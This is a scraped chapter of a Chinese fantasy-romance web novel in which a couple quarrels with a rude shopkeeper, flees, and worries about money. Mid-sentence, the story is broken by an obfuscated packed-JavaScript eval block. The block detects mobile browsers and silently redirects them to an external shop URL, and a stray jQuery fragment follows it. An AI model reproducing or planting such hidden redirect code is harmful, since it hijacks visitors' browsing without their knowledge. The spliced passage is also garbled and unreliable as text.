文趣网 > 都市小说 > 抡大锤的我与春神死同穴 > 31. 说错话小心呦
    凌渊看了看自己扶在林梵儿肩头的手,底气十足:“不然呢?!”

    林梵儿心中涌过一阵暖流,凌渊这样堂而皇之地护着她,她的确应该心怀感念。可是他一个男人,并不懂得女人的嫉妒之心有多么惊骇,她已经可以预见到,自己即将要面临怎样的羞辱。

    果然,那掌柜娘子回过神来,脸上不加遮掩得满是讥嘲,用团扇掩口尖声笑了几声:“夫人?哈哈,恕奴家直言,公子天姿国色,却有如此蒲柳之妻,难道是当初娶妻时,眼睛生了什么……”

    骤然之间,她的声音和尖笑一起戛然而止,面色霎时胀红,双手无力地乱挥了几下,移到了自己的脖颈之下:“我……我……”

    再往后,她发出的就是“嗬嗬”的单音,一个字都说不出来了。

    紧接着,她的双手用力一掐,力道之大,一双保养得细腻雪白的手上青筋凸起,好像要把自己活活掐死一般。

    丰腴的身形渐渐委顿而下,她扑在地上,用尽力气仰头瞪着面前的两个人,看她的口型是想要求救,却什么都说不出来。

    林梵儿自然不会见死不顾,这种世家教养的儿女都是这样,以德报怨的胸襟深植骨血。否则,当初凌渊对她那样颐指气使,她却能倾尽心力为他施针侍药,悉心照看,要说是为了他口中那不知真假的玄天金精,连凌渊都觉得不像,只能是她为人良善的缘故。

    可是在这人世间,良善的人大多命途多舛,如果没有足够保护自己的力量,越是仁心热肠的人就越容易被欺负,更有甚者,会被吃得连骨头都不剩。

    此时,林梵儿便挣开了凌渊的手,扑到老板娘面前,一边帮她用力掰开自己的手,一边朝阁中的几个伙计大喊:“快来帮忙啊!”

    然而,不止那些人对此视而不见,无动于衷,依旧在忙碌着手中的事,连一个眼神都不曾向这里送过来,甚至于连店外的行人都没有发觉这里的异样,偶尔有向这里望进来的,视线却没有在他们三个大活人身上停驻半分,只是随意一瞥,就错了开去。

    更有甚者,有人看见了摆在店堂正中衣桁上的那套“送春华”,口中啧啧有声:“华裳阁新出的衣裙可真美,可惜,我连进去试一试的勇气都没有!”

    同行的女伴安慰她:“不去是对的,那掌柜娘子向来自诩美艳无双,阁中新上的货色大多按她来量体裁制,寻常女子哪个能上的了身的,还要被她抢白几句,何必找这不痛快!再者,这华裳阁的衣饰要价不菲,动辄金银,哪里是我们能消受得起的!”

    林梵儿猛地察觉到了不对——这些声音虽然飘入了她的耳中,却缥缈的好像从天边而来,偏偏又字字句句清晰无比,似乎特意说给她听的。

    与此相对的,就是他们身周和现世强烈的违和感,这种明明相处同一时空,却仿佛被罩在罩子里的感觉,也不知道是什么诡异的术法。

    不错,如果此时此刻她还不把矛头指向此处唯一一个气定神闲,悠然望着她们的人的身上,真是枉费了她对凌渊壳子里那老鬼的认知。

    “喂!不管你做了什么!快收手,她马上就要被掐死了!”

    一时情急,她对凌渊大喊道。

    至于凌渊呢,本意也不过小惩大诫,没打算因口舌恶业而送人性命,于是顺水推舟,轻描淡写道:“罢了!”

    随着这一声落地,冥冥之中仿佛有什么巨大的力量轰然离开,加诸于掌柜娘子身上的威压顿时烟消云散,她终于恢复了呼吸,双手脱离了红肿不堪的脖颈,颓然地瘫倒在地。

    林梵儿也松了口气,可是她看向凌渊的眼神,却大不相同了。

    四周那无形的屏障一同撤去,没有人察觉到他们曾经在自己眼皮子底下离奇的消失。

    掌柜娘子恶狠狠瞪了一眼搀扶她起身的林梵儿,一面胡乱理了理鬓发披帛,一面怒火冲天道:“你们使了什么妖法,竟然对我……”

    话音戛然而止,因为凌渊伸出一根手指,笑眯眯地对她摇了摇:“祸从口出,你还没得到教训吗?”

    掌柜娘子既惊且疑,心有余悸却满眼不甘,却终究没再口出妄言。

    既然不能动口,那动手总行了吧?她受这朴素的思想所支配,扑过去就想扯住凌渊,谁料他动作敏捷的如同春燕,伸手拉住林梵儿,一个眨眼就消失在门外,怒气冲冲的老板娘眼底,只余下一白一红两道残影。

    片刻后,她破防大吼:“给我追!”

    这条长街两面满是穿插的小巷和甬道,凌渊跑的潇洒恣意,拉着林梵儿左迂右绕,确定身后没有追兵后才停了下来。

    潇洒恣意的后果就是精挑细选的点心蜜饯、明前玉露茶皆不知去向,手中唯独紧握着的,是林梵儿的药。

    凌渊跑出了一头汗,正要大呼一声“爽快”,然而,心头隐痛渐起,令他不由蹙起了眉头。

    林梵儿驾轻就熟,伸手扣住了他的五指,他这才缓过一口气来。或许是知道会挨骂,他立刻闭紧了嘴,权当自己是只乖巧的鸭子。

    然而林梵儿却半点不提此事,只是扶着他耐心待他气息平稳,才问:“那套‘送春华’,真是你为我选的?”

    凌渊点头:“自然,我甫一进入那华裳阁,就觉得那颜色与你极其相配。可惜被那口舌恶妇搅了我的心意。罢了,咱们再去其他成衣铺子逛逛。”

    其他成衣铺子?林梵儿不说好,也不说不愿,随着他穿出小巷,走到另一条街上,半晌,才道:“可是幕篱没有取回来,你这么招摇,怕是还会引来祸端。”

    这个祸端,除了他“已逝”凌公子的身份,还有他这张拈花惹草的脸!

    也是,凌渊如今也怕了麻烦,好在这条街上虽不如刚才的主街繁华,也颇有些叫卖的摊贩,他灵机一动,从一个杂货摊上取了一只面具,扣在脸上试了试大小,问明价钱冲她伸出手:“三枚铜板!”

    林梵儿:“……”

    他又对她绚烂一笑:“如何,这不就解决了!”

    林梵儿颔首,承认这的确是个好办法,且凌渊的喜好当真不俗,不愧是一眼就看中“送春华”的人。

    这面具是薄铁打造,通体色白,由上自下盖住了他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17852626|211465||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的大半张脸,连眉心都挡得严严实实,倒因此突出了他那双暖玉般的明眸与惹眼的双唇,更衬得他露出的右半颊上肌骨如玉,神采超凡。

    林梵儿心中一动,脱口道:“这东西不难,改日我也为你打造一个,好不好?”

    说完,她猛地一顿,似乎是为自己这般示好而怔忡,又从心底觉得赧然。

    凌渊也很吃惊,受宠若惊道:“在下何德何能,可令林氏铸剑师为我屈尊打造这种小玩意儿。”

    林梵儿一时心乱,掩饰性地摆手:“公子客气了,一个面具不值什么,算不上屈尊。”

    凌渊于是不再推辞,心情大好地扶了扶脸上的铁面,连那边缘微微硌着肌肤的不适都放过了。

    接下来做什么呢?

    凌渊自然是愉快地盘算午膳吃什么,刚才一通闲逛加奔逃,五脏庙又空空如也了。

    如今他们正在一间茶棚的条凳上喝茶——这里的茶叶自然比不上明前玉露,凌大公子嫌弃不肯喝,只要了白水。

    林梵儿却趁着四下无人,打开乾坤囊中翻出一把银票,就着这法宝的遮掩一一数过,微微蹙眉。

    他们刚才大闹华裳阁,虽然不大得体,到底是省了一大笔银子,否则,华裳阁的镇店之宝会要价几何,林梵儿想都不敢想。

    可是,那玉露茶……

    虽然东西丢了,可和人家茶肆无关,该付的钱,还是不能欠的。

    林梵儿满心肉疼,深悔自己怎么就把这祖宗轻易放出来了呢!

    也怪她大意,先前居然没看出这位是如此奢靡的主儿,还以为他能与自己同甘共苦呢。

    唉!林梵儿将银票收回乾坤囊中,满面愁容。

    凌渊好奇问道:“怎么,钱不够?”

    虽然绝不后悔没有收下凌老爷的金银谢礼,可是在那吃人不吐骨头的黑市走了一遭后,的确已经消耗过半了。

    离家三载,事事靠己,林梵儿养成了精打细算,又因久困资乏,所以时常忧心忡忡的习惯,面对着这样的疑问,难免叹了一声:“还好。”

    还好就是不足、不够、不好,凌渊听得出来。看她因此而忧心忡忡的模样,这位曾经在白玉京中高高在上、目下无尘的春神大人,第一次把曾经厌恶不已的“铜臭”看在了眼里。

    凌渊原本想宽慰她不必忧心,可话到唇边促狭心起,又很想逗她一逗。

    “如果只是还好的话,日后我去赚钱养家怎么样?”

    林梵儿满脸惊讶:“你?”

    凌渊轻轻拍了拍胸脯:“我!”

    林梵儿顿觉忍俊不禁,她真是做不到把这四体不勤五谷不分,羸弱难支、连急奔几步都要喘三喘的贵公子和“挣钱养家”四个字联系起来。

    可是无论别人说了什么,绝不恣意嘲弄是她的教养,所以林梵儿并没有把这话放在心上。

    凌渊呢,夸出海口后通体舒畅,放下茶碗起身:“走吧,正事要紧。”而后十分自然地,点了点粗木桌面:“你付账。”

    哭笑不得的林梵儿只掏出了两枚铜板。